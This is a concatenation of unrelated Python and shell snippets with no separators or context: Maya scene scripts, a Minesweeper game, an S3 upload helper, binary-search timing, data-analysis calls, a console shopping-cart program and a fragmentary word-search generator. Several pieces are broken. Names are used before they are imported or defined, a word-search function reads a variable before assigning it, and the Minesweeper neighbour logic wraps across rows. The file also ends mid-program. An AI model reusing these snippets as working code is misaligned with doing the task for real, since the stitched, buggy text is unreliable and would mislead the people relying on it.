driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()))
driver.get("https://www.google.com")
lsof -t -i tcp:8000 | xargs kill -9
import maya.cmds as cmds
import re

# List all meshes in the scene
meshes = cmds.ls(type="mesh")

# Define the naming convention regex pattern
# Use capture groups and wildcard patterns to match the material name and mesh name
# Append "Shape" to the end of the regex pattern to only match mesh objects with "Shape" in their name
naming_convention = "(.+)_(.+)_####_GEOShape"

# Check if the "NamingConventionFail" selection set already exists
if cmds.objExists("NamingConventionFail"):
    # Delete the "NamingConventionFail" selection set
    cmds.delete("NamingConventionFail")

# Create the "NamingConventionFail" selection set
cmds.sets(name="NamingConventionFail")

# Loop through the meshes
for mesh in meshes:
    # Use re.search to check if the mesh name matches the naming convention
    match = re.search(naming_convention, mesh)
    if not match:
        # Add the mesh to the "NamingConventionFail" selection set
        cmds.sets(mesh, add="NamingConventionFail")

# Get the list of meshes in the "NamingConventionFail" selection set
mesh_list = cmds.sets("NamingConventionFail", query=True)

# Create a GUI window
window = cmds.window(title="Naming Convention Check")

# Create a column layout in the GUI window
layout = cmds.columnLayout()

# Create a label that displays the text "List of meshes that don't follow the correct naming convention"
cmds.text(label="List of meshes that don't follow the correct naming convention")

# Create a text scroll list in the column layout
cmds.textScrollList(append=mesh_list)

# Show the GUI window
cmds.showWindow(window)
import maya.cmds as cmds
import random

# Create a new window
window = cmds.window(title="Generating your city", widthHeight=(300, 200))
 
# Add a layout to the window
layout = cmds.columnLayout()
 
# Add a text field to the layout
text_field = cmds.text(label="..............{--Generating your city--}..............")
 
# Display the window
cmds.showWindow(window)

# Creates a "City_GRP" group
city_grp = cmds.group(name="City_GRP", empty=True)

for i in range(2000):
    # Create a cube with the "Building_####_GEO" name
    building_name = "Building_%04d_GEO" % i
    cube = cmds.polyCube(name=building_name)

    # Generate random X and Z coordinates with a maximum distance of 100 units from the world origin
    x = random.uniform(-100, 100)
    z = random.uniform(-100, 100)

    # Calculate the distance of the cube from the origin using the Pythagorean theorem
    distance = (x**2 + z**2)**0.5

    # Generate random scale values for the X, Z, and Y axes, with a max X and Z scale of 6 and a max Y scale of 20
    # and divide it by the pythagorean
    x_scale = random.uniform(1, 6) / (distance / 9)
    y_scale = random.uniform(1, 20) / (distance / 9)
    z_scale = random.uniform(1, 6) / (distance / 9)

    # Check if any of the scales are larger than 35 and delete the cube if they are
    if x_scale > 15 or y_scale > 35 or z_scale > 15:
        cmds.delete(building_name)
        continue

    # Randomize the cube's scale using the cmds.scale command
    cmds.scale(x_scale, y_scale, z_scale, building_name)

    # Position the cube at the random X and Z coordinates
    cmds.move(x, 0, z, building_name)

    # store the X and Z coordinates
    x_coord = cmds.getAttr(building_name + ".translateX")
    z_coord = cmds.getAttr(building_name + ".translateZ")

    # get the cubes bounding box
    bbox = cmds.xform(building_name, query=True, boundingBox=True)

    # store the minimum y value of the bounding box
    min_y = bbox[1]

    # Subtract the minimum y value from the cube's y coordinate
    y = 0 - min_y

    # set the new transform of the cube using the stored X and Z coordinates
    cmds.move(x_coord, y, z_coord, building_name)

    # Add the cube to the City_GRP group
    cmds.parent(building_name, city_grp)

	# ------------------------- group buildings

# Get all children of City_GRP that start with "Building"
buildings = cmds.listRelatives("City_GRP", children=True, type="transform")
buildings = [b for b in buildings if b.startswith("Building")]

# Create three groups to hold the buildings, using the desired names
group1 = cmds.group(empty=True, name="cityCenter_GRP")
group2 = cmds.group(empty=True, name="cityLimits_GRP")
group3 = cmds.group(empty=True, name="cityOutskirts_GRP")

# Add the groups as children of City_GRP
cmds.parent([group1, group2, group3], "City_GRP")

# Iterate over the buildings and add them to the appropriate group
for building in buildings:
    # Get the distance of the building from the world origin
    position = cmds.xform(building, query=True, worldSpace=True, translation=True)
    distance = (position[0]**2 + position[1]**2 + position[2]**2)**0.5

    if distance < 33.33:
        cmds.parent(building, group1)
    elif distance < 66.66:
        cmds.parent(building, group2)
    else:
        cmds.parent(building, group3)

    # ----------------------- build environment


# Create a plane with a scale of 200 in each direction
cmds.polyPlane(name="groundPlane_GEO", w=200, h=200)

# Create a directional light
cmds.directionalLight(name="sun_LGT")

# Set the position and rotation of the light using the move and rotate commands
cmds.move(0, 60, 0, "sun_LGT", absolute=True)
cmds.rotate(-22, 50, 0, "sun_LGT", absolute=True)

# Set the light shadow color to a grey with a value of 0.35
cmds.setAttr("sun_LGT.shadowColor", 0.35, 0.35, 0.35, type="double3")

# Create a group to hold the plane and light
cmds.group(name="environment_GRP", empty=True)

# Add the plane and light to the group
cmds.parent("groundPlane_GEO", "environment_GRP")
cmds.parent("sun_LGT", "environment_GRP")

# Add the environment group as a child of the City group
cmds.parent("environment_GRP", "City_GRP")

# Update the text field to say "Done"
cmds.text(text_field, edit=True, label=".............._____Done_____..............")
import maya.cmds as cmds
import random
import math

# Create the City_GRP group
cmds.group(name="City_GRP", empty=True)

# Create 2000 cubes with random X, Z, and Y scale
for i in range(1, 2001):
    # Create a cube with the "Building_####_GEO" name
    cube = cmds.polyCube(w=1, h=1, d=1, name="Building_{:04d}_GEO".format(i))

    # Generate random X and Z coordinates with a maximum distance of 100 units from the world origin
    x_coord = random.uniform(-100, 100)
    z_coord = random.uniform(-100, 100)

    # Calculate the distance of the cube from the origin using the Pythagorean theorem
    distance = math.sqrt(x_coord**2 + z_coord**2)

    # Generate random scale values for the X, Z, and Y axes, with a max X and Z scale of 6 and a max Y scale of 20
    x_scale = random.uniform(1, 6) / (distance / 10)
    z_scale = random.uniform(1, 6) / (distance / 10)
    y_scale = random.uniform(1, 20) / (distance / 10)

    # Randomize the cube's scale using the cmds.scale command
    cmds.scale(x_scale, y_scale, z_scale, cube)

    # Position the cube at the random X and Z coordinates
    cmds.setAttr(cube[0] + ".translateX", x_coord)
    cmds.setAttr(cube[0] + ".translateZ", z_coord)

    # Add the cube to the City_GRP group
    cmds.parent(cube[0], "City_GRP")
import pandas as pd
from sklearn.model_selection import train_test_split

# Load the data from the CSV file
data = pd.read_csv("data.csv")

# Split the data into train and validation sets, using 85% of the data for training and 15% for validation for the "labels" column
train_data, validation_data = train_test_split(data, train_size=0.85, test_size=0.15, random_state=42, stratify=data["labels"])

# Write the train and validation datasets to CSV files
train_data.to_csv("train.csv", index=False)
validation_data.to_csv("valid.csv", index=False)
lsof -t -i tcp:8000 | xargs kill -9
REST_FRAMEWORK = { 
 (...)
'DEFAULT_CONTENT_NEGOTIATION_CLASS': 'myapp.renderers.IgnoreClientContentNegotiation',
}
sudo apt update
sudo apt install software-properties-common
from random import*

class Board:
    def __init__(self, dim, num_bombs):
        self.dim = dim
        self.num_bombs = num_bombs
        self.board = ["@" for i in range(dim * dim)]
        self.around = [dim, -dim, 1, -1, dim+1, -dim+1, dim-1, -dim-1]
    
    def set_board(self, first_choice):
        x = set()
       
        while len(x) < self.num_bombs:
            idx = randint(0, pow(self.dim, 2) - 1)
            while idx == first_choice:
                idx = randint(0, pow(self.dim, 2) - 1)
            x.add(idx)
           
        self.bombs = sorted(list(x))
        print(self.bombs)

    def print_board(self):
        for idx in range(pow(self.dim, 2)):
            if idx % self.dim == 0 and idx != 0:
                print()
            print(self.board[idx], end = " ")
        print()
           
           
    def update_board(self, idx):
        if idx in self.bombs:
            for i in self.bombs:
                self.board[i] = "*"
            self.print_board()
            print()
            print("Game Over!")
            return False
        elif 0 <= idx < pow(self.dim, 2):
            self.board[idx] = str(len(set(self.bombs).intersection(set([idx+j for j in self.around if 0 < idx+j < pow(self.dim, 2)]))))
            if "@" not in [el for i, el in enumerate(self.board) if i not in self.bombs]:
                print("Win!")
                self.print_board()
                return False
            return True
            
    def get_input(self):
        while True:
            try:
                i = int(input("Dig the mine(0~" + str(pow(self.dim, 2) - 1) + "): "))
                if 0 < i >= pow(self.dim, 2):
                    raise Exception
                break
            except:
                print("Invalid_input!")
        return i
        

def play(dim, num_bombs):
    
    board = Board(dim, num_bombs)
    board.print_board()
    i = board.get_input()
    board.set_board(i)
    
    while board.update_board(i):
        board.print_board()
        i = board.get_input()

dim = int(input("Enter demension: "))
num_bombs = int(input("Enter number of bombs: "))
play(dim, num_bombs)
import logging
import boto3
from botocore.exceptions import ClientError
import os


def upload_file(file_name, bucket, object_name=None):
    """Upload a file to an S3 bucket

    :param file_name: File to upload
    :param bucket: Bucket to upload to
    :param object_name: S3 object name. If not specified then file_name is used
    :return: True if file was uploaded, else False
    """

    # If S3 object_name was not specified, use file_name
    if object_name is None:
        object_name = os.path.basename(file_name)

    # Upload the file
    s3_client = boto3.client('s3')
    try:
        response = s3_client.upload_file(file_name, bucket, object_name)
    except ClientError as e:
        logging.error(e)
        return False
    return True
#method 1
def evaluate(n, l, r, m, list_a):
    if list_a[m] > n:
        r = m
        m = (l+r) // 2
    elif list_a[m] < n:
        l = m+1
        m = (l+r) // 2
    elif list_a[m] == n:
        return "found"
    return (l, r, m)
    
def binary_search(list_a, n):
    l, r = 0, len(list_a) - 1
    m = (l+r) // 2
    
    while True:
        try:
            l, r, m = evaluate(n, l, r, m, list_a)
      
        except Exception:
            break
  
    return m
    

#method 2
def recursive_binary_search(list_a, target, l = None, r = None):
    if list_a == []:
        return None
        
    if l == None and r == None:
        l = 0
        r = len(list_a) - 1
        
    mid = (l + r) // 2
    
    if list_a[mid] == target:
        return mid
    elif target < list_a[mid]:
        return recursive_binary_search(list_a, target, l, mid - 1)
    elif target > list_a[mid]:
        return recursive_binary_search(list_a, target, mid + 1, r)
        
def naive_search(list_a, target):
    for i in list_a:
        if i == target:
            return target
    return None

#test
from random import*
from time import*

sorted_list = set()
length = 1000

while len(sorted_list) < length:
    sorted_list.add(randint(-8 * length, 8* length))

sorted_list = sorted(list(sorted_list))

start = time()
for target in sorted_list:
    naive_search(sorted_list, target)
end = time()
print("Naive Search:", (end - start) / length)

start = time()
for target in sorted_list:
    binary_search(sorted_list, target)
end = time()
print("Binary Search:", (end - start) / length)
    
start = time()
for target in sorted_list:
    recursive_binary_search(sorted_list, target)
end = time()
print("Recursive Binary Search:", (end - start) / length)

   
import pandas as pd
from dataprep.eda import create_report
df = pd.read_csv("parking_violations.csv")
create_report(df)

#Plot 
plot(df)
plot_correlation(df)

#plot correlation
plot_correlation(df, col1, col2)



#load dataset houses, titanic
from dataprep.datasets import load_dataset

#plot diff training and test data
from dataprep.datasets import load_dataset
import numpy as np
df1 = load_dataset("house_prices_train")
df1 = df1.replace(" ?", np.NaN)
df2 = load_dataset("house_prices_test")
df2 = df2.replace(" ?", np.NaN)

#save Report
from dataprep.eda import create_report
report = create_report(df, title='My Report')
report.save(filename='report_01', to='~/Desktop')
import sweetviz as sv
analyze_report = sv.analyze(df)
analyze_report.show_html('report.html', open_browser=False)
### Initialization Process ###
 
# Creating Item Database #
 
import weakref
# Module for process involved with displaying all items available. Not sure what it is or does but it works...
 
class Item(object):
    items = []
    # Ignore. Empty list for displaying all items available. 
 
    def __init__(self, itemname, itemprice, itemstock):
        self.__class__.items.append(weakref.proxy(self))
        self.itemname = itemname
        self.itemprice = itemprice
        self.itemstock = itemstock
    # For defining new items; takes name of item, its price, and its stock.
 
    def GetItemName(self):
        return self.itemname
    # To get the name of a specific item
 
    def GetItemPrice(self):
        return self.itemprice
    # To get the price of a specific item.
    
    def GetItemStock(self):
        return self.itemstock
    # To get the stock of a specific item.
 
    def ChangeItemPrice(self, newprice):
        self.itemprice = newprice
    # To change price of a specific item.
    
    def ChangeItemStock(self, newstock):
        self.itemstock = newstock
    # To change stock of a specific item.
 
# Creating Cart Class #
 
class Cart(dict): 
    """cart dict format:  {itemname:[price,number]}"""
    def ShowCart(self):
        return self
    # To define user's cart.
 
# Creating Customer's Shopping Account #
 
class Customer(object):
    """Produces an objects that represent customers."""
 
    def __init__(self, customer_name, customer_id):   
        self.customer_name = customer_name
        self.customer_id = customer_id
        self.cartlist = {}
        self.cartlist[0] = Cart()
    # For defining new customers; takes person's name and id.
 
    def AddCart(self):
        self.cartlist[len(self.cartlist)] = Cart()
    # To create a new cart.
 
    def GetCart(self, cartindex = 0):
        return self.cartlist[cartindex]
    # To get a cart.
 
    def BuyItem(self, item, itemnum, cartindex = 0):
        try:
            self.cartlist[cartindex][item.GetItemName()][1] += itemnum
        except:
            self.cartlist[cartindex].update({item.GetItemName():[item.GetItemPrice(),itemnum]})
    # Process of buying an item
 
    def BuyCancle(self, item, itemnum, cartindex = 0):
        try:
            self.cartlist[cartindex][item.GetItemName()][1] -= itemnum
        except:
            self.cartlist[cartindex].update({item.GetItemName():[item.GetItemPrice(),itemnum]})
    # Process of cancelling buying an item
    
    def CheckOut(self):
        global order_history
        order_history = []
        items_bought = []
        for item in self.cartlist:
            items_bought.append(self.cartlist[item])
        #self.cartlist = {} --> removed due to bug
        print("Items bought were:", items_bought)
        print("""\nFormat to read bill is: [{'item_name': [unit price (USD), quantity]}]
\nTo calculate total price (USD), go through each cart, and in each cart, go through each item, and multiply the unit price by the quantity.""")
        order_history.append(items_bought)
        items_bought = []
    # To 'buy' the items and therefore reset the cart and add into order history.
    
    def ViewOrderHistory(self):
        print("Full history of items bought for" + str(customer_name.customer_name), "is:\n", order_history)
        print("""\nFormat to read bill is: [[{'item_name': [unit price (USD), quantity]}]]
\nTo calculate total price (USD), go through each cart, and in each cart, go through each item, and multiply the unit price by the quantity.""")
    # To view the order history of items bought from all checkouts.
 
# Initializing Item Database #
# Format: name = Item('name', price)
 
Apple = Item('Apple', 7.80, 54)
Pear = Item('Pear', 6.20, 61)
Gun = Item('Gun', 500.00, 5)
Cookie = Item('Cookie', 5.90, 100)
Dad = Item('Dad', 0.00, 0)
 
# Initializing Store For Item Database #
 
def ShowItems():
    for item in Item.items:
        print("Item name:", item.itemname, "| Item price: $", item.itemprice, "USD | Item stock:", item.itemstock)
# Above code is to display all items available.
 
# User Agreement Function #
 
def okay():
    okay = input("\n\nType 'okay' to continue: ")
    print("")
# Function that simply asks for a filler user input before proceeding to the code after it.
    
# User Add Item Loop Function #
 
def add_item_to_cart_function():
    error_count = -1
    while True:
        error_count += 1
        if error_count > 0:
            print("\nERROR: The item you input is not in our catalogue. Choose only one of specific items from our inventory, or make sure the input is case sensitive.\n")
        item_wanted = str(input("Enter the item you would like to add to the cart: "))
        # Asks for user input for item desired.
        global item_wanted_variable
        item_wanted_variable = item_wanted
        item_search = globals()
        if item_wanted_variable in item_search:
            try:
                item_wanted_variable = item_search[item_wanted_variable]
                break
            except UnboundLocalError:
                continue
    # Used to troubleshoot class attribution error where item_wanted was a string class and could not be identified as an item. Essentially takes item_wanted and its string class, and finds a variable in this code with the same name, and then goes from there.
    while True:
        qnty_wanted = int(input("\nEnter the quantity of the item you would like to purchase (qnty wanted <= item stock): "))
        # Asks for user input for item quantity desired.
        if qnty_wanted <= item_wanted_variable.itemstock:
            item_wanted_variable.itemstock -= qnty_wanted
            break
        else:
            print("\nERROR: The quantity you input is above the quantity available of the specified item. Choose only a value less than or equal to the stock. The stock of", item_wanted, "is", str(item_wanted_variable.itemstock) + ".\n")
            continue
    customer_name.BuyItem(item_wanted_variable, qnty_wanted, cart_num)
    total_price_for_item_added = float(item_wanted_variable.itemprice * qnty_wanted)
    print("\nYou are adding", qnty_wanted, str(item_wanted) + "s for", item_wanted_variable.itemprice, "USD each. This will cost", total_price_for_item_added, "USD.")
    print("\nThe stock for", item_wanted, "is now", str(item_wanted_variable.itemstock) + ".")
    okay()
    print("")
    print(str(customer_name.customer_name) + "'s Cart", cart_num, "has: %s" % customer_name.GetCart(cart_num))
    print("""\nFormat to read cart is: {'item_name': [unit price (USD), quantity]}
\nTo calculate total price (USD), go through each item in the cart, and multiply the unit price by the quantity.""")
    # Adds the item and quantity to the cart under the iteration.
 
# User Remove Item Loop Function #
 
def remove_item_from_cart_function():
    error_count = -1
    while True:
        error_count += 1
        if error_count > 0:
            print("\nERROR: The item you input is not in our catalogue. Choose only one of specific items from our inventory, or make sure the input is case sensitive.\n")
        cart_num_for_removal = int(input("Enter the cart number of which you are referencing here: "))
        # Asks for user input for cart being referenced.
        item_removed = str(input("Enter the name of item you would like to remove from the cart: "))
        # Asks for user input for item removal desired.
        global item_removed_variable
        item_removed_variable = item_removed
        item_search = globals()
        if item_removed_variable in item_search:
            try:
                item_removed_variable = item_search[item_removed_variable]
                break
            except UnboundLocalError:
                continue
    # Used to troubleshoot class attribution error where item_wanted was a string class and could not be identified as an item. Essentially takes item_wanted and its string class, and finds a variable in this code with the same name, and then goes from there.
    #while True:
    qnty_removed = int(input("Enter the quantity of the item you would like to have removed (qnty removed <= qnty in cart): "))
    # Asks for user input for item quantity desired.
        #if qnty_removed > customer_name.GetCart(cart_num_for_removal[item_removed][1]):
            #print("\nERROR: The quantity you input to have removed is above the quantity of the specified item that you bought. Choose only a value less than or equal to the quantity in your cart.\n")   
            #continue
        #else:
    item_removed_variable.itemstock += qnty_removed
            #break
    customer_name.BuyCancle(item_removed_variable, qnty_removed, cart_num_for_removal)
    total_price_for_item_removed = float(item_removed_variable.itemprice * qnty_removed)
    print("\nYou are removing", qnty_removed, str(item_removed) + "s in Cart", cart_num_for_removal, "worth", item_removed_variable.itemprice, "USD each. This will remove a total of", total_price_for_item_removed, "USD from the original total.")
    print("\nThe stock for", item_removed, "is now", str(item_removed_variable.itemstock) + ".")
    okay()
    print("")
    print(str(customer_name.customer_name) + "'s Cart", cart_num_for_removal, "now has: %s" % customer_name.GetCart(cart_num_for_removal))
    print("""\nFormat to read cart is: {'item_name': [unit price (USD), quantity]}
\nTo calculate total price (USD), go through each item in the cart, and multiply the unit price by the quantity.""")
    # Removes the item and quantity in the cart specified.
 
 
### UI Functioning Process ###
 
# User Input Warning #
 
print("**Program Note:**\n\nAll user inputs are CASE SENSITIVE. When typing a response given a set of options, please make sure input is case sensitive to the option. Furthermore, in the following program, at some point you may be required to enter the name of an 'item'. When prompted so, please make sure the name of the item is Title Case.\n\n")
 
print("-----\n\n")
 
# Initial Greeting #
 
print("Welcome to Capitalist Market! Everything and anything is offered here in all sorts of ranges, just with a bit of a twist on the pricing. Enjoy shopping here, and follow the steps appropriately for the best service.")
 
# Shop Function #
 
import sys
# Module that implements usage of a 'main menu' to make things easier.
 
from random import randint
# Module that was used for generating random user ID.
 
def MainMenu():
    while True:
        try:
            option = int(input("""\n-----\n
Select a number for the action that you would like to do (it is recommended to go in respective ascending order):\n
            1. Create your customer shopping account
            2. View all items available for purchase
            3. Add items to a shopping cart
            4. Proceed to checkout
            5. View past order history
            6. Exit shopping session
            \nEnter Your Choice: """))
            
            # Asks user to choose one of the numbers to continue on to the specified option.
        
        except ValueError:
            print("\nERROR: You did not make a valid selection. Choose only one of the digits from the given options.")
            continue
        
            # In the case that user enters an incorrect input; restarts the loop and asks again.
        
        else:
            if option == 1:
                print("\nHello! Let's create your shopping account. A few details will be needed, and there will be a few fewsmall things to note down.\n")
                confirming_response1 = input("\nYou're sure you want to proceed, right?\n\n Yes, continue. \n No, return me back to the menu.\n\n")
                if confirming_response1 == 'Yes':
                    print("\n\nOkay! System will continue...\n\n")
                    name = str(input("To create your account, we will need your name. Please enter it: "))
                    print("\nThank you. You're account will be under this name. Also, you'll need an ID for the account, which is below:\n")
                    random_id = randint(1111, 9999)
                    print(str(random_id))
                    print("\nIt'll be helpful to remember these for your own use once we obtain a log-in system. For now, though, this information will serve helpful for us to keep track of your account.\n")
                    global customer_name
                    customer_name = name
                    customer_name = Customer(customer_name, random_id)
                    print("\nThe following confirms your account:\n")
                    print(customer_name.customer_name)
                    print(customer_name.customer_id)
                    okay()
                    print("\nAll right! So your account is now created. You can use this to continue on with your shopping process.")
                    continue
                else:
                    print("\n\nOkay! Back to the main menu...\n")
                    continue
    
            if option == 2:
                print("\nHello! So you would like to see what we have to offer? No problem!\n")
                confirming_response2 = input("\nYou're sure you want to proceed, right?\n\n Yes, continue. \n No, return me back to the menu.\n\n")
                if confirming_response2 == 'Yes':
                    print("\n\nOkay! System will continue...\n\n")
                    print("We have a growing inventory of items to offer. You don't need to worry about the stock at the moment; we have more than you can count. Anyway, below is a list of the current inventory of items and unit prices (USD) for each:\n\n")
                    ShowItems()
                    print("\n\nThose are our concurrent items available for you to buy. Hopefully something catches your eye. Remember these items, as you'll want the full list when moving onto the buying process!")
                    okay()
                    print("\nAll right! So you're ready now. You can use this list later on in the shopping process.")
                    continue
                else:
                    print("\n\nOkay! Back to the main menu...\n")
                    continue
    
            elif option == 3:
                print("\nHello! So you would like add items to your cart? No problem, let's get you through the process!\n")
                confirming_response3 = input("\nYou're sure you want to proceed, right?\n\n Yes, continue. \n No, return me back to the menu.\n\n")
                if confirming_response3 == 'Yes':
                    print("\n\nOkay! System will continue...\n\n")
                    exit_loop = 0
                    global cart_num
                    cart_num = 0
                    while exit_loop == 0:
                        print("If you have not already seen, we have a growing inventory of items to offer. Keep in mind a specific item (or items) you would like to purchase.\n")
                        print("First off, before buying, you'll need to obtain a shopping cart. Luckily, this is virtual, and we'll create a digital shopping cart for you. If this is not your first time going through this process, a new cart defined by the next ascending natural number will be made.")
                        okay()
                        customer_name.AddCart()
                        cart_num += 1
                        print("\nAll right! A new cart has been created. You may now move on to the adding process.\n")
                        print("\nSo, let's add some of the items you would like.\n")
                        exit_item_buying_loop = 0
                        while exit_item_buying_loop == 0:
                            add_item_to_cart_function()
                            exit_item_bl_prompt = int(input("\n\nIf you are done adding items to the cart, then type '1'. Else, if you want to keep adding items, type '0': "))
                            print("")
                            if exit_item_bl_prompt == 1:
                                break
                            else:
                                continue
                        print("\nThank you for adding items to your cart; that completes this session. Hopefully you got everything you wanted.")
                        okay()
                        print("\nAll right! So that was Cart %s.\n" % cart_num)
                        exit_loop_prompt = int(input("Do you want to make a new session with a new cart and buy more items again? Or do you simply wish to continue back to the menu? Type '1' if you wish to exit back to the menu, and type '0' if you wish to start another session: "))
                        if exit_loop_prompt == 1:
                            print("\nOkay! Enough of the shopping spree, back to the main menu it is!\n")
                            break
                        else:
                            print("\nOkay! Continue the shopping spree!\n")
                            continue
                        continue
                else:
                    print("\n\nOkay! Back to the main menu...\n")
                    continue
    
            elif option == 4:
                print("\nHello! So you would like to proceed to checkout? No problem! Hopefully you have something in your cart(s).\n")
                confirming_response4 = input("\nYou're sure you want to proceed, right?\n\n Yes, continue. \n No, return me back to the menu.\n\n")
                if confirming_response4 == 'Yes':
                    print("\n\nOkay! System will continue...\n\n")
                    print("\nBelow is your full bill, which accounts every cart you had and the quantity of items in each. Read it carefully before proceeding.\n\n")
                    customer_name.CheckOut()
                    okay()
                    print("\nNow, this is your opportunity to cancel any orders of the items you bought and remove them from the bill.\n")
                    bill_prompt = str(input("Would you like to remove anything?\nYes or No: "))
                    if bill_prompt == "Yes":
                        print("\nAll right! We'll undergo the process of removing certain items.\n")
                        print("So, let's remove some of the items you would like.\n")
                        exit_item_removing_loop = 0
                        while exit_item_removing_loop == 0:
                            remove_item_from_cart_function()
                            exit_item_rl_prompt = int(input("\nIf you are done removing items from the cart(s), then type '1'. Else, if you want to keep removing items, type '0': "))
                            if exit_item_rl_prompt == 1:
                                break
                            else:
                                continue
                    else:
                        print("\nNo? Okay! Let the process continue.\n")
                    print("\nHere is your final bill:")
                    customer_name.CheckOut()
                    okay()
                    print("\nVery well! So you've checked out your items now. You can either repeat the process and explore further or go see your order history if you have checked out several times.\n")
                    continue
                else:
                    print("\n\nOkay! Back to the main menu...\n")
                    continue
            
            elif option == 5:
                print("\nHello! Want to see your order history? Okay!\n")
                confirming_response5 = input("\nYou're sure you want to proceed, right?\n\n Yes, continue. \n No, return me back to the menu.\n\n")
                if confirming_response5 == 'Yes':
                    print("\n\nOkay! System will continue...\n\n")
                    print("\nAssuming you have bought items recently, below is your order history:\n\n")
                    customer_name.ViewOrderHistory()
                    print("\n\nThere's your order history! There's nothing very special you can do with it, apart from totalling up everything you have bought.")
                    okay()
                    print("\nVery well then. At this point, you can either go back and explore the store again or you can visit the main menu and leave the store.\n")
                    continue
                else:
                    print("\n\nOkay! Back to the main menu...\n")
                    continue
 
            elif option == 6:
                confirming_response6 = input("\n\nYou're sure you want to proceed, right?\n\n Yes, continue. \n No, return me back to the menu.\n\n")
                if confirming_response6 == 'Yes':
                    print("\n\nLeaving already? All right! Thank you for shopping here at Capitalist Market. Hope to see you again soon!")
                    okay()
                    sys.exit()
                    # Forcefully turns off the function and stops the code. 
                else:
                    print("\n\nOkay! Back to the main menu...\n")
                    continue
 
# Running Code Process #
 
MainMenu()
 
# Runs function MainMenu() aka the whole code.
 
 
### Testing And Miscellaneous ###
 
# No testing left.
 
# Future Work Notes #
 
"""
* Implement log-in/log-out systems possibly and make it so there can be several accounts running at the same time.
 
* Implement subclasses of items (i.e. food, appliances).

* Properly implement price calculation system.

* Properly implement stock management system.
"""
def diagonal_word() :
    word = words_arr[random.randint(0,23)]
    i_first = random.randint(0,arr_rows-3)
    i = i_first
    j = random.randint(0,arr_columns-3)
    element_occupied = False
    for k in range(0,len(word)):
        if (i - k + len(word) - 1 > arr_rows - 1) or (j - k + len(word) - 1 > arr_columns - 1):
            element_occupied = True
            break
        if ((arr[i][j] != " ")&(arr[i][j] != word[k])):
            element_occupied = True
            i -= k
            j -= k
            break
        i += 1
        j += 1
        if k == len(word) - 1:
            i -= k + 1
            j -= k + 1
    if element_occupied == False:
        for k in range(0,len(word)):
            arr[i][j] = word[k]
            i += 1
            j += 1
            if k == len(word) - 1:
                i -= k + 1
                j -= k + 1
        for k in range(0,len(word)):
            hidden_words_arr[i][j] = word[k]
            i += 1
            j += 1
        return i - k - 1
    else :
        return diagonal_word()
def horizontal_word(count,index):
    count += 1
    if count == 950 :
        return -1
    word = words_arr[random.randint(0,162)]
    if check_word(word) == True or arr[i][3] != " " or arr[i][6] != " ":
        return horizontal_word(count,index)
    i_first = random.randint(1,arr_rows-2)
    i = i_first
    j = random.randint(0,arr_columns-5)
    element_occupied = False
    for k in range(0,len(word)):
        if (j - k + len(word) - 1) > (arr_columns - 1):
            element_occupied = True
            break
        #print(element_occupied)
        if ((arr[i][j] != " ")&(arr[i][j] != word[k])):
            element_occupied = True
            j -= k
            break
        #print(element_occupied)
        j += 1
        if k == len(word) - 1:
            j -= k + 1
    if element_occupied == False:
        for k in range(0,len(word)):
            arr[i][j] = word[k]
            j += 1
            if k == len(word) - 1:
                j -= k + 1
        for k in range(0,len(word)):
            hidden_horizontal_words_arr[i][j] = word[k]
            j += 1
        arr1[index] = word
        return count
    else :
        return horizontal_word(count,index) 
def vertical_word(count,index):
    count += 1 
    if count == 950:
        return -1
    word = words_arr[random.randint(0,162)]
    if check_word(word) == True:
        return vertical_word(count,index)
    i_first = random.randint(0,arr_rows - 5)
    i = i_first
    j = random.randint(1,arr_columns - 2)
    element_occupied = False
    for k in range(0,len(word)):
        if (i - k + len(word) - 1 > arr_rows-1) :
            element_occupied = True
            break
        if ((arr[i][j] != " ")&(arr[i][j] != word[k])):
            element_occupied = True
            i -= k
            break
        if 1:
            i += 1
        if k == len(word) - 1:
           i -= k + 1
    if element_occupied == False:
        for k in range(0,len(word)):
            arr[i][j] = word[k]
            i += 1
            if k == len(word) - 1:
                i -= k + 1
        for k in range(0,len(word)):
            hidden_vertical_words_arr[i][j] = word[k]
            i += 1
        arr1[index] = word
        return count
    else :
        return vertical_word(count,index)   
def clear_array():
    for i in range(0,arr_rows):
        for j in range(0,arr_columns):
            arr[i][j] = " "
    for i in range(0,arr_rows):
        for j in range(0,arr_columns):
            hidden_horizontal_words_arr[i][j] = " "
    for i in range(0,arr_rows):
        for j in range(0,arr_columns):
            hidden_vertical_words_arr[i][j] = " "
def complete_array():
    for i in range(0,arr_rows):
        for j in range(0,arr_columns):
            if arr[i][j] == " ":
                arr[i][j] = letters_arr[random.randint(0,25)]
def check_word(word):
    check_word_arr = [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ']
    for i in range(0,arr_rows):
        check_word_arr[i] = arr[i][0]
        for j in range(1,arr_columns):
            check_word_arr[i] += arr[i][j]
    for j in range(0,arr_rows):
        check_word_arr[arr_rows + j] += arr[0][j]
        for i in range(1,arr_columns):
            check_word_arr[arr_rows + j] += arr[i][j]
    for i in range(0,arr_rows + arr_columns):
        if word in check_word_arr[i] :
            return True
    return False
import random
import time
letters_arr = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
#words_arr = ['apple','chair','company','elevator','television','summer','price','garden','phone','car','ice','desk','cake','board','bus']
#words_arr = ['autumn', 'bathroom', 'body', 'christmas', 'clothes', 'colour', 'food', 'fruits', 'furniture', 'pets', 'school', 'sport', 'spring', 'town', 'toys', 'balloons', 'banana', 'bank', 'basket', 'basketball', 'bat', 'bath', 'bed', 'bee']
